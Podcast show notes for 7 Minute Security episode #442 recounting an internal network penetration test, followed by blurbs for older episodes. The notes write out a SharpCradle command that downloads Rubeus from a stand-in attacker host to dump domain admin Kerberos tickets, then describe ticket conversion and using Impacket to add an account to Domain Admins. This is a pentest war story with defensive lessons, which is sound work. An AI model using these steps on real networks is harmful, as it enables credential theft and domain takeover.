7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(690)

7MS #121: Migrating from Tumblr to Ghost-Part 2

7MS #121: Migrating from Tumblr to Ghost-Part 2

Part 2 concludes my journey in moving 7ms.us from Tumblr to a Digital Ocean droplet running Ghost. Here are the key resources mentioned during the podcast: How to run multiple Ghost blogs on one DI VPS. The key takeaway here was that I had to upgrade to the $10 droplet (I did a "flexible" resize to add more proc/memory) and then the second instance of Ghost installed fine. Turning on CloudFlare SSL was easy. I chose flexible SSL since I wasn't using a "real" cert. I also wrote a rule to force HTTPs for all connections. And, just for grins, I turned on DNSSEC. Because...why not? :-) I picked a strong root password for my DI droplet, but I still don't like the idea of IPs banging on that connection all day and night. I followed this article on installing Fail2Ban to prevent my SSH login from being abused. There are a few IPs that I want to perma-ban, so I'm going to look throughthis article and this one which looks a tad easier. You can subscribe to the 7 Minute Security podcast here.

19 Joulu 20158min

7MS #120: THE PURGE!

7MS #120: THE PURGE!

Announcing the 7MS PURGE! I've got a back log of episodes banked and I want to get caught up for the new year. So I'm going to release one (or maybe more) episodes per day between now and 2016. Plus (spoiler alerts!) in 2016 we're moving to a Monday/Wednesday/Friday release schedule. Yep, 7MS three times a week - thanks for the idea, mom! Subscribe to 7MS on iTunes here.

18 Joulu 20152min

7MS #119: Migrating from Tumblr to Ghost-Part 1

7MS #119: Migrating from Tumblr to Ghost-Part 1

In this episode I talk about my adventures in moving my brianjohnson.tv Tumblr content over to a Digital Ocean hosted droplet running Ghost. I think you'll want to check this episode out, because in part 2 I talk about the challenges I faced in hosting multiple Ghost instances on one DI droplet. I will also be talking about how to enable CloudFlare SSL (for free!) as well as enabling Fail2Ban to keep annoying people/IPs from brute forcing your SSH root account!

17 Joulu 20158min

7MS #118: Should Phishing be Fair?

7MS #118: Should Phishing be Fair?

This episode discusses an important and rhetorical (to me) infosec question: Should phishing campaigns be "fair?"

15 Joulu 20157min

7MS #117: OFFTOPIC-Alive Inside

7MS #117: OFFTOPIC-Alive Inside

Today I talk about one of the most moving films I've ever seen - a documentary called Alive Inside.

10 Joulu 20157min

7MS #116: Tips for a Succesful Vulnerability Scan

7MS #116: Tips for a Succesful Vulnerability Scan

In this episode I complain about getting stuck in NY for two days, and also how to efficiently scan for vulnerabilities when your time is crunched.

8 Joulu 201514min

7MS #115: OFFTOPIC-Love and Mercy

7MS #115: OFFTOPIC-Love and Mercy

We're going off-topic today and talking about the new(ish) movie about Brian Wilson's life called Love and Mercy.

4 Joulu 20157min

7MS #114: PCI Pentesting 101-Part 3

7MS #114: PCI Pentesting 101-Part 3

Part 3 on my series about PCI pentesting. Yeah. That.

2 Joulu 20157min

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